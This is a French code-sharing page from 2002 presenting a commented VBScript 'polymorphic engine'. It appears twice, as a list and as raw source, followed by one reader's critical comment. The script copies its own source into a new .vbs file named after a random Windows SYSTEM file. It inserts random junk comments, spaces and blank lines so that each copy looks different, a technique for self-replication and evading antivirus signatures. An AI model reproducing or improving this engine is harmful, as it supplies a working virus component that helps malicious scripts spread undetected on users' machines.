Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

MOTEUR POLYMORPHE DE DAN COMMENTÉ


Information sur la source

Catégorie :VBScript Niveau : Expert Date de création : 08/12/2002 Date de mise à jour : 08/12/2002 13:27:26 Vu : 2 704

Note :
2 / 10 - par 3 personnes
2,00 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10

Commentaire sur cette source (1)
Ajouter un commentaire et/ou une note

Description

c'est le moteur polymorphe de Dan, je l'ai juste commenté
 

Source

  • on error resume next 'pour d'éventuelles erreurs
  • Dim F,R,G,O,T 'déclare les variables (F,R,G,O,T)
  • Randomize 'initialise le générateur de nombres aléatoires
  • Set F=CreateObject("Scripting.FileSystemObject") 'détermine F
  • O="Moteur polymorphe.vbs" 'détermine O
  • G=H+".vbs" 'détermine G
  • F.CreateTextFile G 'crée le fichier G
  • Set ts=F.OpenTextFile(G,2) 'détermine ts (ts = ouverture du fichier G)
  • Set R=F.OpenTextFile(O,1) 'détermine R (R = ouverture du fichier O)
  • Do 'début de l instruction Do...Loop
  • x=Int(Rnd*4+1) 'détermine x (x = 4+1)
  • If x=1 Then z=E 'si x = 1 alors z = E
  • If x=2 Then z=U 'si x = 2 alors z = U
  • If x=3 Then z=L 'si x = 3 alors z = L
  • If x=4 Then z=K(10,20) 'si x = 4 alors z = K
  • If x=5 Then z=vbCrLf 'si x = 5 alors z = saut de ligne
  • ts.WriteLine z 'écrit la valeur de z dans ts
  • If R.AtEndOfStream=-1 Then Exit Do
  • Loop
  • ts.Close 'fermeture du fichier ts
  • R.Close 'fermeture du fichier R
  • Function U 'début de la fonction U
  • If R.AtEndOfStream=0 Then T=R.ReadLine
  • If Left(T,1)="'" Then U
  • If T="" Then U
  • If W=0 Then U
  • If Left(T,2)="O=" Then T="O="+""""+G+""""
  • U=T 'détermine U (U = T)
  • End Function 'fin de la fonction U
  • Function W 'début de la fonction W
  • For i=1 To Len(T)
  • If Mid(T,i,1)<>Chr(32) Then W=2:Exit For
  • W=0 'détermine W (W = 0)
  • Next
  • End Function 'fin de la fonction W
  • Function J(n,m) 'début de la fonction J
  • For i=0 To (Int(Rnd*(m-n)+n))
  • J=Chr(14+Int(Rnd*241))+J 'détermine J
  • Next
  • End Function 'fin de la fonction J
  • Function K(n,m) 'début de la fonction K
  • K=Space(Int(Rnd*(m-n)+n)) 'détermine K
  • End Function 'fin de la fonction K
  • Function L 'début de la fonction L
  • L=J(Int(Rnd*10),Int(Rnd*10)+10) 'détermine L
  • n=Int(Rnd*3)+1 'détermine n
  • If n=1 Then y=vbCrLf 'si n = 1 alors y = saut de ligne
  • If n=2 Then y=K(Int(Rnd*3),Int(Rnd*5)+3) 'si n = 2 alors y = K
  • If n=3 Then y="" 'si n = 3 alors y = rien
  • L="'"+L+y 'détermine L
  • End Function 'fin de la fonction L
  • Function E 'début de la fonction E
  • d=Int(Rnd*4)+1
  • For a=0 To d
  • E=E+vbCrLf 'détermine E
  • Next
  • End Function 'fin de la fonction E
  • Function H 'début de la fonction H
  • Set c=F.GetSpecialFolder(0) 'détermine c
  • c=c+"\SYSTEM"
  • Set D=F.GetFolder(C)
  • Set z=D.Files
  • x=0
  • For Each q in z
  • x=x+1
  • Next
  • If x<>0 then
  • x=int(Rnd*x+1)
  • s=0
  • For Each q in z
  • s=s+1
  • H=F.GetBaseName(q.name)
  • If s=x Then Exit For
  • Next
  • End If
  • If O=H+".vbs" then x=0
  • If x=0 then
  • H=""
  • b=Int(rnd*8)+3
  • For n=1 To b
  • H=Chr(Int(rnd*25)+65)+H
  • Next
  • End If
  • End Function 'fin de la fonction H
on error resume next				'pour d'éventuelles erreurs

Dim F,R,G,O,T                                                                  'déclare les variables (F,R,G,O,T)
Randomize                                                                         'initialise le générateur de nombres aléatoires
Set F=CreateObject("Scripting.FileSystemObject")             'détermine F
O="Moteur polymorphe.vbs"                                              'détermine O
G=H+".vbs"                                                                        'détermine G
F.CreateTextFile G                                                             'crée le fichier G
Set ts=F.OpenTextFile(G,2)                                                'détermine ts (ts = ouverture du fichier G)
Set R=F.OpenTextFile(O,1)                                                'détermine R (R = ouverture du fichier O)
Do                                                                                       'début de l instruction Do...Loop
x=Int(Rnd*4+1)                                                                   'détermine x (x = 4+1)
If x=1 Then z=E                                                                   'si  x = 1 alors z = E
If x=2 Then z=U				  'si  x = 2 alors z = U
If x=3 Then z=L                                                                   'si  x = 3 alors z = L
If x=4 Then z=K(10,20)			  'si  x = 4 alors z = K
If x=5 Then z=vbCrLf				  'si  x = 5 alors z = saut de ligne
ts.WriteLine z                                                                       'écrit la valeur de z dans ts
If R.AtEndOfStream=-1 Then Exit Do
Loop                                                                                 
ts.Close                                                                               'fermeture du fichier ts
R.Close                                                                               'fermeture du fichier R
Function U                                                                          'début de la fonction U
If R.AtEndOfStream=0 Then T=R.ReadLine     
If Left(T,1)="'" Then U                                            
If T="" Then U
If W=0 Then U
If Left(T,2)="O=" Then T="O="+""""+G+""""
U=T					  'détermine U (U = T)
End Function                      			  'fin de la fonction U
Function W                                                                          'début de la fonction W
For i=1 To Len(T)               			  
If Mid(T,i,1)<>Chr(32) Then W=2:Exit For
W=0       					  'détermine W (W = 0)
Next
End Function				   'fin de la fonction W
Function J(n,m)     				   'début de la fonction J
For i=0 To (Int(Rnd*(m-n)+n))			   
J=Chr(14+Int(Rnd*241))+J			   'détermine J
Next
End Function				   'fin de la fonction J
Function K(n,m)				   'début de la fonction K
K=Space(Int(Rnd*(m-n)+n))			   'détermine K
End Function				   'fin de la fonction K
Function L					   'début de la fonction L
L=J(Int(Rnd*10),Int(Rnd*10)+10)			   'détermine L
n=Int(Rnd*3)+1				   'détermine n
If n=1 Then y=vbCrLf				   'si  n = 1 alors y = saut de ligne
If n=2 Then y=K(Int(Rnd*3),Int(Rnd*5)+3)		   'si  n = 2 alors y = K
If n=3 Then y=""				   'si  n = 3 alors y = rien
L="'"+L+y					   'détermine L
End Function				   'fin de la fonction L
Function E					   'début de la fonction E
d=Int(Rnd*4)+1	
For a=0 To d
E=E+vbCrLf				   'détermine E
Next
End Function				  'fin de la fonction E
Function H  				  'début de la fonction H
Set c=F.GetSpecialFolder(0)			  'détermine c
c=c+"\SYSTEM"
Set D=F.GetFolder(C)
Set z=D.Files
x=0
For Each q in z
x=x+1
Next
If x<>0 then
x=int(Rnd*x+1)
s=0
For Each q in z
s=s+1
H=F.GetBaseName(q.name)
If s=x Then Exit For
Next
End If
If O=H+".vbs" then x=0
If x=0 then
H=""
b=Int(rnd*8)+3
For n=1 To b
H=Chr(Int(rnd*25)+65)+H
Next
End If
End Function				   'fin de la fonction H

Commentaires et avis

signaler à un administrateur
Commentaire de aKheNathOn le 10/12/2002 14:34:24

Désolé c'est pas explicite : G=H+".vbs"                                                                                                      au début du script devrais planter ... et par conséquent Set ts=F.OpenTextFile(G,2) devrais créer un fichier ".vbs" ce qui n'est pas grave mais je pense pas que c'étais le but recherché ...

Et en plus je crois que t'as oublié un truc assez important comme même ... c'est de dire en quoi ce moteur est polymorphe ... c'est quoi qu'il fait ... et ce qu'il crée ou comment il fonctionne ... au lieu de mettre des commentaire crétins style :

Dim F,R,G,O,T ' Initialize les variables

Ajouter un commentaire



Nos sponsors

Sondage...

CalendriCode

Janvier 2009
LMMJVSD
   1234
567891011
12131415161718
19202122232425
262728293031 

Consulter la suite du CalendriCode



Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel BAÏSE, Merci à Vincent pour ses précieux conseils
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés
Temps d'éxécution de la page : 0,780 sec

Google Coop CodeS-SourceS Google Coop CodeS-SourceS


Certaines images présentes sur le site (notament certains avatars) sont issues des collections IconShock, donc si vous souhaitez utiliser ces icons vous devez les acheter, ne les copiez pas et ne utilisez pas dans vos sites et applications sans les avoir commandé.